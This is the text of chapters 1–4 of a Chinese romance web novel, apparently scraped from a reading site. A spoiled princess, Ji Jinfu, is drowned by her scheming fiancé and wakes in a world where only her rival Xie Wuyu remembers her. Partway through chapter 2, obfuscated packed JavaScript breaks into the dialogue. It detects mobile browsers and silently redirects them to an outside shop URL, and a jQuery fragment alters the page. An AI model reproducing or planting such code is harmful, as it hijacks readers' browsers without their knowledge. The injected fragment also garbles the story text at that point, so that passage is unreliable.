《草包美人怀了死对头的崽》 1. 第1章 秋色渐浓,层林尽染,太康帝元信照例率众前往骊山秋狝。 国朝定鼎以来,先帝一来怀念军中岁月,亦不愿见昔日部将骄奢废弛,便时常行围猎之事,演练军队。 及至太康帝登基,因他自幼随先帝征战,颇通骑射,便循旧制常于秋季狩猎。兼之天下承平日久,渐有盛世景象。太康帝便在骊山兴建行宫,定例每年于此秋狝。 明日围猎,太康帝今夜便在殿前设宴。 这骊山行宫对纪锦芙来说实在无甚新鲜,宫宴亦殊无兴味。她靠在侍女身上,长吁短叹地看着殿前舞姬们进献的歌舞,心里却只有她香香软软的绣床。 玉钏一定已经给她屋里点上熏香了、再让玉环给自己捏捏腿脚、玉瓶揉肩、玉珠会剥好葡萄喂给她、玉簪给她读话本子听……好想回去躺着啊。 晋阳长公主元舜华一向受太康帝恩遇甚笃,以至于太康帝对元舜华与定国公纪琰的独生女纪锦芙也是爱逾亲生,甚至破例封她为成安郡主。 上首太康帝见自家外甥女一脸倦怠,便关切道:“芙儿可是累了?” 突然被皇帝点名的纪锦芙连忙坐起身子,“皇帝舅舅,芙儿满心只念着您去年秋狝一箭射中双鹿的英姿呢,这歌舞不是不好,只是软绵绵的,听着多犯困呐。” 太康帝听罢哈哈大笑,后宫妃嫔与诸皇子倒是神色各异。纪锦芙御前失礼至此,皇帝丝毫不以为忤,可见对其宠爱之深。 元舜华心知爱女一向懒散,可宫宴之中如此失礼,平白落人口实,便笑骂道:“你这孩子,都怪我宠溺太过,一点山路倒把你累死了不成,没得扰了陛下的雅兴了!” 太康帝摆摆手,“长姐言重了,女儿家身子娇贵,更何况芙儿婚期将至,本就劳累些。” “好啦,孩子们就自便吧,原本他们在,我们也不得尽兴。” 皇帝一发话,年纪尚幼的皇子公主,便都由奶娘嬷嬷先带下去歇息。纪锦芙喜不自胜,上前敬了太康帝与现在掌管后宫的戚贵妃几杯酒后,便也告醉要走。 元舜华无奈地瞪了女儿一眼,纪锦芙朝母亲吐了吐舌,提着裙子走出大殿。 纪锦芙行至烟雨亭时,酒兴上头,突然又喊着想要赏月,便要挥退众人。跟着她的太监、嬷嬷不敢离去,又不敢违拗郡主,一时僵持在原地。 纪锦芙有些不耐烦,挥挥手道:“行啦,这儿离我住的清晖院这么近,你们还怕我掉湖里不成啊!”说罢,便叫贴身侍女玉钗打赏众人,拿出一副将要赶人的架势。 众人见状,连忙怀抱着郡主给的丰厚打赏回去复命了。 烟雨亭四面环水,此时明月在天,纪锦芙举目远望,只见波光明灭,令人胸怀为止一畅。 宴会之上人多口杂,难免有些气闷。面对着湖光山色,纪锦芙伸了个懒腰,倚在亭畔,吩咐玉钗道:“你去帮我取些酒菜点心来,我在这儿歇会儿。” 玉钗不放心,“郡主,还是回院里再用酒菜罢。若被长公主知道了……” 纪锦芙越发懒得动弹,“不要,我走不动了。” “可是……” “怕什么,你走开一会儿,我能被鱼吃了啊?” 玉钗拗不过,只能念叨几句让她不要随意走动,提着裙摆快步走了。 纪锦芙从小到大,去走到哪都是呼奴唤婢,少有如此独处时刻,亭中一时寂静得令人有些心慌。 她是个闲不下来的性子,转头拾起石桌上搁着的一盒鱼食,借着月光略看了看。食盒紧闭,纪锦芙掰了半天,掰得她指尖通红,于是她哼了一声,直接咚地一声将鱼食扔进水里。 随后,近处假山似乎传来一声惊叫。纪锦芙有些疑惑,好端端地,是谁大半夜躲在假山里? 纪锦芙等了一会儿,按捺不住心中好奇,蹑手蹑脚地往假山附近挪过去。 “齐大哥,那声音吓死我了。会是什么人?” 女子声音虽放得极低,听来却仍旧婉转温柔,颇有几分楚楚可怜的意味,令人想要怜惜不已。 男子的声音同样很轻,“想来不过是猫儿狗儿打架罢了……容妹,快别管了。”语气中倒颇为急切。 纪锦芙挑了挑眉,猫儿狗儿?说她? 她刚想出声叫破二人,那女子却又开口了。 “齐大哥,你与成安郡主的婚事即便无法转圜。可我总是认定了你,我不求名分,只要你我二人能够长久地厮守在一起就好……” 成安郡主?听到自己名号的纪锦芙柳眉倒竖,连忙四处寻找起可以用来打人的工具。 齐隗听罢,动情道:“容妹,世上终究无人可以及得上你。” 剑呢!快给我一把剑!!假山里为什么没有剑!! “只是郡主出身高贵,你我来往若被她知晓,恐怕……”女子娇喘微微,啼哭不已。 石头!有没有大小合适可以拿在手里把人砸死的石头! “哼,长公主又如何,不过也是个生不出儿子的妇人。虽则我入赘纪家,但等长公主跟定国公百年之后,凭她是什么郡主,还不是任我摆布!” 纪锦芙刚要发作,却忽然被人掩住唇,紧紧箍在怀中。她奋力挣扎几下,谁料来人身形高大,臂膀如同钢铁一般环在她纤腰间,竟然分毫不动。 见纪锦芙挣扎地剧烈,那人微微松手,可她刚要脱身时,却又恶劣地加力,把她抱地双脚离地,纪锦芙下意识惊呼出声。 身后那人连忙附身,在她耳边嗤笑一声,“纪大小姐,是我。”声音低沉,吐息温热地扫在耳后。 纪锦芙停下动作,忍不住大翻白眼。真是出门没看黄历,捉奸还能让她遇上谢无虞那个混蛋!这下还不被他笑话死…… 谢无虞凝视着假山,唇角微勾:“诶,你想不想看看,你的未婚夫现在在里面做什么?” 纪锦芙没兴趣管他在做什么,那个贱人对爹娘无礼,那就该死! 见怀中的姑娘没动静,谢无虞有些讶然。这还是那个动辄把人折腾得要死要活的纪锦芙么? 难道……伤心得傻了? 谢无虞有些气闷,性子中恶劣放诞的一面便显了出来,他抱着纪锦芙一跃而上,在假山上方坐定。 离得近了,便能窥见齐隗他们的动静。谢无虞让纪锦芙坐在自己身前,念头一转,耐心地铺开锦袍,垫在她身下。 谢无虞反手挡住纪锦芙的双眼,自己抬眼往假山里看去。 嚯,这么快! 纪锦芙扒着他的臂膀,也想探头去看假山里面的二人,却被谢无虞把脑袋摁回去,又捂着她眼睛低声道:“非礼勿视。” 这人脑子有病吧!刚才不是还问自己想不想看齐隗在做什么? 二人你来我往地打闹起来,那边假山里,齐隗与女子二人喁喁细语,不胜温存。谢无虞看了几眼,不免尴尬起来,他正当少年,本是血气方刚的年纪。 更何况…… 纪锦芙今日穿着件藕粉色纱裙,鬓发如云,更显得她面如春桃,娇媚可人。 一年未见,这刁蛮女子怎么好似容貌更胜往昔? 于是谢无虞默默往后挪了寸许,纪锦芙正听得认真,感到身后人在乱动,便抬头瞪了他一眼。 美人微嗔,谢无虞登时失了针锋相对的气势,只觉被她美目一瞪,浑身顿时便如火烧一般燥热起来。 谢无虞忍无可忍,揽着纪锦芙纤腰把人带了下去,也不管她在怀中如何挣扎,直到了亭中方才松手。 纪锦芙甫一重获自由,反手便“啪”地一声,给谢无虞俊美无俦的侧脸上添了一个巴掌印。 谢无虞轻笑一声,不仅不恼怒,还抬手抚了抚被纪锦芙打过的地方,神色之间颇为玩味。 “你拉我走干嘛!”纪锦芙打了他一巴掌还不解气,又抬手往他胸口锤去。 已经在亭中布好酒菜的玉钗一惊,连忙上前,“郡主,小侯爷,你们怎么又吵起来了……” 玉钗自幼服侍纪锦芙,从小看二人一起长大,这两位只要碰上就是针尖对麦芒,闹起来就没完。 “我哪里敢惹郡主娘娘,只盼着郡主不要因旁人迁怒于我,那就很好了。”少女馨香离怀,谢无虞顿时便恢复了平常那副游刃有余、漫不经心的散漫模样。 纪锦芙刚想反唇相讥,却见月色之下,谢无虞轻裘缓带,丰神如玉,宛然是个富贵王孙模样。 只除了脸上的巴掌印之外…… 纪锦芙自觉 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谢无虞怕她吃亏,刚想提出陪她去寻齐隗。谁知纪锦芙出言不逊,便冷笑道:“不敢过问郡主娘娘您的事儿,不过你那千挑万选的未婚夫,心里也未必就对你有多少敬重!” 谢无虞如今身居高位,因战功卓越,年纪轻轻便官拜左金吾卫大将军,又封为淮阴侯,赫然是太康帝的宠臣,朝野上下谁不对他恭维奉承? 可从小到大,纪锦芙何曾正眼看过他? 既然如此,他又何必自取其辱?谢无虞抬脚便走,转眼见到纪锦芙面上似有泪光,终究不忍,想要叮嘱几句:逼得太过,恐怕会让那齐隗狗急跳墙。 可转念一想,她爹娘在前朝后宫煊赫至极,他算什么东西?来管成安郡主的闲事?便嗤笑一声,大步而去了。 纪锦芙见他走了,满脑子便只剩下齐隗和戚丽容做下的丑事,愤怒之间,一把抄起手边的赤金酒壶,快步往方才假山的地方跑去。 果然,那二人早已不在原地,纪锦芙在心里骂了谢无虞两句,只好沿着假山往前找。 跑了许久,不仅没见到二人踪迹,连追在身后的玉钗等人也没跟上。纪锦芙情不自禁地蹲下身,哭了出来。 齐隗既然另有所爱,直说便是,难道她纪锦芙就非他不可吗! 现在想来,齐隗一直对自己百依百顺,原来是打量着她爹娘无子,想要算计她们家么! 正哭得伤心时,纪锦芙被人摁住,她还以为是谢无虞回来,刚想骂人。却被用力抓住长发,趁她吃痛,往她口中塞了布团。 纪锦芙这才意识到,这人绝不是谢无虞。 她奋力挣扎,却被那人制住,往湖边拖去。纪锦芙口不能言,一张精致美丽的脸上布满了眼泪。 “齐……齐大哥,真要这样么?”戚丽容吓得花容失色。原来,方才纪锦芙跟谢无虞争吵的声音传来,把正在亲热的二人吓得急急忙忙逃走。 可走到一半,齐隗却突然执意回转,戚丽容只得跟了回来。 齐隗目眦欲裂,若此时放过纪锦芙,她回去向长公主告上一状,他能有什么好下场? 就算天幸捡回一条命,那这么多年来寒窗苦读,处心积虑,也都白费了! “容妹!愣着干嘛!快来帮忙!”齐隗是个书生,纪锦芙命在旦夕,平白生出许多力气,他一时竟有些制不住她。 幸好那个谢无虞不在! 戚丽容见二人扭打在一起,绞着帕子愣在原地,不敢动作。 纪锦芙趁他不备,突然从身下抄出赤金酒壶,重重往齐隗头上砸去。 齐隗被砸地头晕眼花,但终究男子力强,伸手一拉,跟纪锦芙双双倒进湖中。 戚丽容早被吓得三魂七魄去了一半,跌坐在地上。骊山夜色中,湖面渐渐恢复平静无波,只余地上酒壶散落,酒液淌了满地,蜿蜒而下,清光四射。 …… 太康七年九月,晋阳长公主与定国公纪琰独女,成安郡主纪锦芙于骊山行宫中,醉酒坠湖而亡,年仅十九岁。 长公主夫妇、太康帝等人悲痛不已。郡主身后事极尽哀荣,云安城中一时感叹: 韶华逝水,红颜薄命。 2. 第2章 纪锦芙从一片混沌中醒过来时,那铺天盖地的窒息感仿佛还萦绕在她周身,她大口大口地喘息着,直到视线渐渐变得清晰。 远处峰峦起伏,但见枫林似火、银杏金黄、松柏苍翠。看着这斑斓秋景,鼻端隐隐传来青草气息,纪锦芙这才缓缓回神,发现自己正躺在地上,浑身冰冷。 她活下来了? 她不是被齐隗那个混蛋给害死了吗? 纪锦芙打量着四周,她自幼深受皇恩,随御驾出行多次,骊山对她并不陌生。 确认了此处应该是骊山后,纪锦芙手脚并用地远离了身边的水流。 娇生惯养的成安郡主连滚带爬,好不狼狈。 倒不是她不想起来走路,实在是劫后余生,腿和脚都还软弱无力,便也顾不上什么仪态。 纪锦芙伏在近处大石上歇息,看着脏兮兮的衣袖,愈发觉得委屈起来。 从小到大,凡是她喜欢的,多看一眼,第二天就会出现在她桌案上。凡是她讨厌的,皱皱眉头,自然是永远别想再出现在她眼前。 她还从来没丢过这么大的脸! 要是让那个谢无虞知道,她堂堂大魏朝战神定国公纪琰的女儿想打人没打成还被反杀了,岂不是要被他笑一辈子? 纪锦芙一把鼻涕一把泪地爬起来,往顺着河流走去。 她醒来的地方地势较低,或许是掉进湖里之后,顺流而下,被水冲到了岸边才捡回一条命。 就当做是这样吧,她也想不到别的情况了。 总不可能是死而复生吧! - 秋高气爽,太康帝率众行至猎场,便迫不及待点了百余人等进行小猎。倒也不在获猎多少,无非是左右近臣活动活动活动手脚,为几日后的围猎热热身罢了。 定国公纪琰、淮阴侯谢无虞等人自然在列。 纪琰本是汝南望族,昔年天下大乱,群雄四起,纪琰不顾父母劝阻,执意离家参军。 不但连他自己,便连纪氏一族也未曾想到,昔年那个毫不起眼的六郎,竟然能追随太祖,平内乱、退北狄,立下这份不世之功。 纪琰性情敦厚,时常接济从前一同参军的战友,若有军中遗孤,便也接来府上亲自教养。 谢无虞的父亲谢朗与他一同参军,乃是义结金兰的异姓兄弟。谢朗战死后,谢无虞流落街头。纪琰多方打探,十数年前才因机缘巧合,寻回兄长的独子。 纪琰发现谢无虞悟性颇高,便将自己数十年南征北战的经验倾囊相授,并常对人说,谢无虞异日成就,还要在他之上。 果然,谢无虞十七岁时随纪琰平定东部诸国,大方异彩。太康帝见他年少英勇,如获至宝。 太康帝对这对情同父子的臣子信赖非常,闲聊之间,不免提及当年旧事。 “无虞,朕与你的骑射皆是兄长所授,如此说来,咱们倒成了师兄弟了。”纪琰在他幼时曾救他一命,太康帝私下里便一直称其为兄。 谢无虞笑道:“陛下说笑了,纪二叔神射无双,臣不过学了些许皮毛罢了。” 太康帝听罢朗声而笑,便即催马奔出,挽弓搭箭,一只獐子应弦而倒。 随扈的臣子、侍从纷纷赞颂不已。 纪琰等人见状,心中不禁升起豪情,欲要一展身手。唯独谢无虞,缓缓地驾马在后,东游西逛、意态闲散,丝毫不像是来狩猎的,反倒像是个富贵公子出游观花一般。 一圈下来,众人皆猎了不少猎物,为首的太康帝已猎了对鹿,纪琰猎了几只白狐,余者所获野鸡、野兔颇丰。 见谢无虞独自在溪边饮马,纪琰便上前招呼道:“虞儿,今日可猎了些什么?” 谢无虞似乎有些神思恍惚,勉强一笑,“不过猎了几只野兔,没什么稀罕的,正准备着人给长公主和纪妹妹送去。” 他记着纪锦芙那丫头爱吃兔子。 纪琰闻言一笑,“虞儿有心了,只是林儿那孩子肠胃太弱,太医叮嘱少食荤腥为好。” 谢无虞一怔,蓦地想起,此间并没有什么纪锦芙了。 纪琰与长公主仍是多年唯得了一女,起名叫纪锦林。太康帝仍然分外疼爱这自幼多病的外甥女儿,仍旧封为成安郡主。 而这里的成安郡主纪锦林,与谢无虞印象里那个刁蛮任性、自幼便爱欺负他的纪锦芙,实在是大相径庭。 两人容貌上倒是都遗传了长公主的绝色,只不过纪锦林是空谷幽兰难以比其清丽;纪锦芙则是灿若芙蕖不足拟其娇俏。 性子更是相去甚远,纪锦林温柔贤淑、随分从时;而纪锦芙则分外目下无尘、恣意任性。 谢无虞每每忆起与纪锦芙幼时如何相识、如何吵架、如何一同读书习字,仍觉历历在目、分外刻骨。 纪锦芙就像独属于他的幻梦一样,醒来就消逝得无影无踪。 他虽不喜她刁蛮任性,却也不由得心下悲戚,连日来神思恍惚,魂不守舍。 纪琰自然看得出他一向疼爱的子侄的异常,可近来边境安稳,朝局上并无可虑。他以己度人,也想着谢无虞是否因为年少慕艾,情路不顺所致,可这孩子年二十余岁仍无娶妻之意,显然并不将儿女私情放在心上的。 纪琰正想开口相问,远处却乱哄哄一片,只听人高声叫嚷着“有刺客”、“抓刺客”之类的话。 二人对视一眼,立刻翻身上马,向乱处驰去。 原来,清醒过来的纪锦芙沿着溪边而行,原本想走回行宫去寻父母,谁料走着走着,山路复杂,她迷了路。 从前她虽然来过骊山,却都是坐在轿子中被人抬着,如今步行而来,自然分辨不清方位。 于是纪锦芙误入围场,被正在追着一只野兔的太康帝一箭把她头顶射了个对穿。 幸好发髻够高,她人倒是没伤到半点。 侍卫以为她是刺客,立即上前将人拿下。可众人一看,“刺客”竟然是个娇滴滴、怯生生的姑娘,便只得将人压到太康帝面前,请陛下圣裁了。 纪锦芙被那一箭吓得够呛,正哆哆嗦嗦地训斥着擒住她的士兵。 “你放开我,你知道我娘是谁么!你知道我爹是谁么!” “你爹娘是谁我是不知道,但你意欲行刺,去下面跟你爹娘团聚吧!” “行刺?”纪锦芙疑惑,“我吗?” 转眼一看,她皇帝舅舅正骑在马上,神色冷淡,颇有睥睨之色。 纪锦芙“嗷”地一声放声大哭,“舅舅,你可一定要为芙儿做主啊,他们都欺负我!都欺负我!!” 侍卫见她竟然还敢向皇帝胡闲言乱语,连忙上前七手八脚地把她摁在地上,拿来麻绳五花大绑,又堵住她的嘴,以免她污言秽语,惊扰圣驾。 “下官办事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309643|198769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不力,竟教刺客闯入围场。现下这女刺客已被擒住,还请陛下发落。” 太康帝眉头微蹙,暗自思忖:这女子年岁尚轻,虽然形容憔悴,但看着得出身段婀娜,不像是附近农户人家误闯进来的。 可若说是谁派来的刺客,这武艺会不会太差了些? “令她抬起头来回话。” 侍卫连忙从纪锦芙口中取出布团,又抓着她的脸迫使她抬起头。 纪锦芙一张小脸皱着,忙道:“舅舅!是我啊!是芙儿!我爹和娘呢?” 见太康帝眉头越皱越紧,眼见着竟是一副没认出自己的疑惑样子。纪锦芙心下疑惑万分,皇帝舅舅怎么会不认得自己了? 她被齐隗推到湖里摔毁容了? 还是说她其实附身在什么人身上,借尸还魂了? 太康帝终于确认,这女子口中的舅舅好像是指他自己? 可他只有晋阳长公主一个姐姐,这世上能唤他为舅舅的,也只有纪锦林一个人。 是什么美人计?还是她神志不清认错人了? 众侍卫喝到:“什么舅舅!你面前的乃是当今天子,休要胡言乱语!” “陛下,是否要将这疯妇暂且压下去?待回云安再行处置。” “不必处置了!” 还不待太康帝发落,远处传来一道清冽男声,只是语调中仍带着些慵懒调笑。 纪锦芙回头一看,谢无虞身着猎装,玄色披风飞扬、束发金冠正打马而来,他身姿挺拔,姿态潇洒,引得众人纷纷侧目。 纪锦芙第一次从心底里觉得谢无虞顺眼极了,刚想说话,却看到了他身旁的纪琰。 “爹!!你怎么才来啊!!”纪锦芙顿时落下泪来,仿佛要把自己这两日受的委屈全哭出来。 可旁人不明就里,纷纷以为这女子这声“爹”,叫的是谢无虞。 等等……谢小侯爷他生得出这么大的女儿吗? 谢无虞一声嗤笑,骑在马上围着纪锦芙绕了一圈儿,初始神色晦暗不明,双手紧紧握着缰绳,指尖泛白,很快却又转为一副戏谑模样。 纪锦芙心想,这人果然又在看她笑话了,刚才白感动了。可随即想到自己如今头上插着一支箭,浑身衣物又脏兮兮的,不由得羞愤交加,晕染双颊。 “你笑什么,快给我松绑。”纪锦芙催促道。 谢无虞翻身下马,却刻意不再看她,只向太康帝行礼。 太康帝示意纪谢二人起身,又问谢无虞道:“这女子闯入猎场,却又不似附近农户。朕看谢卿之意,似乎认得这位女子?” 其实太康帝很想问,这女子为什么管他叫爹。但他乃一国之君,又当着群臣,实在难以启齿。 纪锦芙忙道:“爹!你快跟舅舅解释清楚啊!” 一旁的纪琰从方才便隐隐觉得这女子有些面善,可她擅闯猎场,实在可疑,便道:“陛下,此人形迹可疑,不如暂且将她看管起来,再做计议吧。” 纪锦芙哑然失语,爹怎么也不认得她了?纪锦芙顿时感觉头晕目眩,如坠深渊,骇得额上冷汗直流。若是……若是亲爹也不认得自己了。 那这般擅闯皇家猎场,她岂不是死定了? 正当她心乱如麻之时,谢无虞斜睨了她一眼,语气慵懒,玩世不恭地道: “陛下容禀,这女子乃是臣的丫鬟。” 3. 第3章 “陛下容禀,这女子乃是臣的丫鬟。” 谢无虞话毕,众人皆侧目而视。 这谢小侯爷素来不近女色,也不曾听闻纳妾蓄婢。至于秦楼楚馆那等风月场所,他更是从不涉及的。 可若说这女子只是他府上的粗使婢女,那更是不像。且不论她容貌过人,单看她衣饰钗环繁富华丽,必定是深得谢无虞宠爱之人。 纪琰有些惊讶,虞儿这孩子,倒真是长大了,也开始为情爱烦扰了。 他先前一直很关心谢无虞的终身之事,只是这孩子一直推辞,纪琰也不好多说什么。 如今见谢无虞终于开窍,不用再替故友担心谢家无后,纪琰欢欣地拍了拍他肩膀。 连太康帝都露出些许喜色,似乎也不欲纠结纪锦芙擅闯围场之事,言语之间还颇有些调侃之意。 谢无虞愕然,一瞬便明白其中关窍,想来众人是误将纪锦芙当做了自己的姬妾。随即念头一转,那也正好,他编的一堆瞎话也不用多说了,索性将错就错便了。 只不过那大小姐那边…… 谢无虞抬眼偷偷看向纪锦芙。 纪锦芙傻眼了,被谢无虞气傻的。 他竟敢说自己是侍女!!!!!! 见纪锦芙正欲发难,谢无虞连忙上前将人捞进怀里,告罪便走。 众人见谢无虞急匆匆连人带马扬长而去的背影,纷纷大笑出声。 “虞儿这孩子,真是……” “年轻人啊,就是心急。” - 谢无虞骑马回到自己的牙帐前,刚下了马,便见纪锦芙眼眶微红地瞪着他。 他轻笑一声,做出个“请”的手势,“还请郡主下马。” 纪锦芙冷哼:“你是瞎了么,我手脚被绑着,怎么下马?” “那,只能谢某抱你下来了?”谢无虞伸出手,纪锦芙正因他当众羞辱自己而怀恨在心,便恨恨道:“我不要你碰我!” “你究竟使了什么手段,为什么爹爹和舅舅都认不出我了?” 谢无虞听出她语气之中轻蔑之意,冷笑回道:“郡主娘娘未免太高看我了,除了神仙鬼怪,谁有法子令亲生父女见面不识?” 见纪锦芙一脸茫然,谢无虞暗道这大小姐真是被爹娘娇宠成了个绣花枕头,不免又耐心解释起来:“你难道还没看出来么?陛下和你爹爹都不记得你了。在他们眼里,如今你就是个陌生人。” “而且……”谢无虞静默一瞬,轻声道:“方今世上,也就只有我还记得你。” 见纪锦芙仍是一脸呆滞,谢无虞走上前去将马栓稳,低声劝慰:“先进营帐歇歇脚,你一路过来肯定饿了,不如用些点心?” 纪锦芙垂首,见谢无虞平日总是充满戏谑的双眼,在秋日融融的日光里,泛着琥珀般的光芒,竟让人没那么生厌。 反而让她无端地想起自己养的小狗来。 于是纪锦芙卸下心房,倚着男子有力的手臂,靠进他怀里。 可还不待两人走出几步,纪锦芙突然反应过来,骂道:“放我下去!你这个讨厌鬼!” 谢无虞生性乖戾,他放下身段哄人不说,刚才还在皇帝与群臣面前百般回护于她,如今倒只落了个“讨厌鬼”? “那好吧,只能劳烦郡主自己走了。”谢无虞冷着脸看了看身下,是软烂的泥土地,索性干脆利落地一撒手。 “扑通”一声,纪锦芙跌坐在泥地上,她看着自己浸在泥里的裙摆大骂道:“你这个狗东西!就知道没安好心!!谢狗!我要杀了你!” 谢无虞俯下身看她,又成了那副玩世不恭的模样:“是你说要我放你下来的,怎么又成我没安好心了?” 纪锦芙这会儿脑子转得倒快道:“你真要是真的好心,早点给我松绑不就成了?” 谢无虞摸了摸鼻子,绕开纪锦芙离去,颇有些被戳穿的羞愧。 纪锦芙在泥地里蠕动了一会,只得不情不愿地叫道:“谢狗,你不会不管我了吧?” 谢无虞回头一看,这笨手笨脚的大小姐把自己折腾的满身泥泞不说,脸那白皙的脸上也沾了些许泥点子。 他心中虽已消气,嘴上却不肯饶人:“大小姐,你唤我什么?” 见纪锦芙沉默不答,谢无虞生怕这台戏唱不下去,忙道:“求人要有求人的态度嘛,哦,我忘了。” “咱们高高在上的郡主娘娘,哪里求过人呢?”谢无虞唇角微勾,“你便唤声小谢哥哥来听,如何?” 纪锦芙才不肯向他服软,更何况哥哥妹妹什么的,也太过肉麻。于是便翻了个白眼,继续坐在泥土里,慢慢朝牙帐的方向蠕动。 谢无虞叹了口气,伸手抓住纪锦芙背心衣服,把人“拎”进了帐中,又替她解开手脚上的绳子。 纪锦芙刚一重获自由,便抬手飞快地往谢无虞脸上摸了两下。 谢无虞被她摸地有些呆愣,直到纪锦芙看着他的脸笑得跌坐在地上,又朝他伸出一双满是泥泞的纤手。 这笨丫头! 谢无虞抬手擦了擦脸颊,从桌上寻了块铜镜,往纪锦芙怀里一丢,便自顾自梳洗去了。 纪锦芙揽镜自照,顿时笑不出来了。 她鬓发散乱,原本雪白的脸布满干涸的泥灰,浑身脏兮兮不说,头顶上还插着一支羽箭,让她显得更可笑了。 待谢无虞梳洗完毕,见纪锦芙还在原地,笨手笨脚地拆着头顶的羽箭。他看不过眼,便上前笑道:“郡主这造型,挺别致的。” 纪锦芙白了他一眼,径自对镜摆弄自己的头发。那羽箭缠在发髻之间,越缠越乱,她被谢无虞这么一激,越发烦躁,忍不住骂道:“你老盯着我看干嘛!你越看我越解不开,都怪你。” 谢无虞禁不住笑出声,只觉心下说不出的畅快,便伸出手,迎着纪锦芙愤怒的目光,替她拆起发髻来。 “你别乱动,小心扯到头发。”谢无虞刚梳洗过,身上带着些淡淡的水汽,他没穿外袍,宽阔的胸膛甫一靠近,暖意融融。纪锦芙跟他自幼相识,若说更近的接触倒也不是没有,但总是衣冠整齐的。 可现下…… 谢无虞单膝跪在她身前,像是把她圈在怀里一般。纪锦芙的目光不免停留在谢无虞胸口,只见轻薄的内衫之下,线条起伏,肌肉隆起,不免思绪纷杂。 嗯……男子的胸口不知道是软的还是硬的? 还不待她伸手探寻这个秘密,谢无虞已将那枚羽箭从她发中解开,说道:“好了。” “你……干嘛这么看我?”谢无虞转开目光。 男子温热的躯体一远离,纪锦芙便把“你的胸为什么这么大让我摸一下试试”这个问题抛去脑后了。 她道:“我爹和舅舅,为什么不认识我了?” 刚才照镜子,她除了变得脏一点外,容貌并没有变化啊! 排除了借尸还魂的可能,纪锦芙突然不敢想下去了…… 谢无虞见她脸色惨白,不由得柔声开导:“先前你问我,我便说了,如今世上,只剩我还认得你了。” 纪锦芙冷冷道:“我不信!我娘呢,我要去找我娘,娘最疼我了,不可能把我给忘了的!” 谢无虞心下不忍,这女子自幼娇养,仗着自己有两位好父母,素来横行无忌。如今乍然得知这等消息,定然难以接受。 便也不再反驳,只笑着岔开话题:“好好好,我浑说的。你还是先去梳洗更衣吧,总不能老顶着一脸泥巴。” 纪锦芙“嗯”了一声,却没动作。 谢无虞挑了挑眉,纪锦芙又回了他一个催促的眼神。 半晌,纪锦芙忍不住道:“你滚出去啊 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除下衣物,将身子置于热水之中,纪锦芙这才觉得好似活了过来一般。这两日经历太过于惊心动魄,乍然放松下来,疲惫感顺势侵占了纪锦芙的四肢百骸。 这边纪锦芙在洗澡,谢无虞则在外间假寐,原本倒各自相安无事。可谢无虞自幼习武,五感较之常人本就灵敏许多。即便非他本意,屏风内纪锦芙沐浴的淋漓水声,却被他听个一清二楚。 谢无虞有些不自在,便要先行离去,可转念一想,这本来就是自己的营帐,哪里有就这样未战先怯,弃城逃跑的道理? 于是他立定而坐,闭目凝神,努力忽视那水声,摒弃俗念。 几息之后,谢无虞心烦意乱,这娇小姐洗个澡怎么这么慢?! 他不由得口干舌燥起来,便起身去倒茶。谢无虞抬眸,不由自主地望着屏风,想到纪锦芙正在自己帐中沐浴…… 他虽则心忧纪锦芙之事,但如此一来,纪锦芙在世上可以依赖之人,亦唯他一人。 若非如此,待她欢欢喜喜嫁了如意郎君。再想见她一面,是否便是百年之后,九幽冥府之下了? 不,那恐怕还要他有幸死在纪锦芙前面才行。 他是要等她的,但她一定心无挂碍,早早投胎去了。 谢无虞念及此处,不由得痴了。杯中茶水满溢而出,他也浑然不知。 直到屏风里传来“咚”地一声响,纪锦芙诶呦了一声。谢无虞方才回神,忙问道:“你怎么了?” 纪锦芙被突然出声的谢无虞吓了一跳,尖叫一声,“你怎么还在啊!” 谢无虞笑道:“我不在自己的营帐,还能在哪儿?” 纪锦芙恼怒:“男女有别,你知不知道?” 谢无虞像是听到了什么笑话,愉悦道:“唉,我还知道咱俩青梅竹马,两小无猜,情投意合……” "滚啊!" “我就不滚,你待如何?” “你等死吧!出去我就杀了你!”纪锦芙气道。 谢无虞不慌不忙地掀袍坐下,施施然道:“那我在此,恭候郡主大驾了。”话音一转,又道:“不过,你准备穿什么衣服呢?” 纪锦芙闻言一怔,四下里看了一圈,对啊,她穿什么衣服呢? 寻常她房里近身侍候的丫头婆子也有十人,更不消说那些煮茶、喂鸟,在外间做些粗活儿的下人,林林总总也有二三十个。 她呼奴唤婢惯了,自然是衣来伸手饭来张口,哪里有过洗完澡自己穿衣服的道理? “谢狗!你真卑鄙!!!”纪锦芙咬牙切齿。 谢无虞闻言开怀大笑,跟这丫头斗嘴,当真胜过打猎跑马。 4. 第4章 纪锦芙看着她换下来那件满是泥泞的衣裳,纠结万分,她要是穿了,那澡不是白洗了么! 谢无虞这个狗东西! 不过谢无虞到底也没放诞到无礼到那个程度,隔空将衣物丢在屏风之上,道:“凑合穿吧。” 纪锦芙伸手扯下衣衫一看,“什么臭男人的衣服,我才不穿呢!” ‘臭男人’冷笑,“那你就光着吧,着凉了别哭鼻子。” 谁会哭鼻子啊!她又不是小孩子了! 纪锦芙趴在桶壁上,只漏出个脑袋,感受着身下水温渐渐变冷,不由得泫然欲泣。 从前纪琰收养了许多战乱遗孤养在府上,哪个不是对自己百般讨好、小意温柔。从小到大,就只有谢无虞事事跟她对着干! 可转念一想,齐隗对她最是殷勤体贴,到头来又怎么…… 果然男人都是贱骨头! 纪锦芙气得一拳捶在浴桶上,“咚”地一声,痛得她直跳脚。 谢无虞闻声,目光自书册上移开,他原本打定主意绝不心软,不管那纪锦芙弄出什么动静都统统无视,非要那丫头认输不可! 可时间有点久了,再不出来恐怕真要着凉…… 谢无虞怕纪锦芙又发起蛮来,只得瓮声瓮气地道:“还不出来?” 见里头还没动静,他一挑眉,“再不出来,我进去了?” “你敢!”纪锦芙捂着衣襟从屏风后头跳出来,她在女子之中并不算矮,可身上男子衣物宽大,便愈发趁得纪锦芙身材娇小纤弱,楚楚可怜。 “不是不肯穿么?”谢无虞问道。 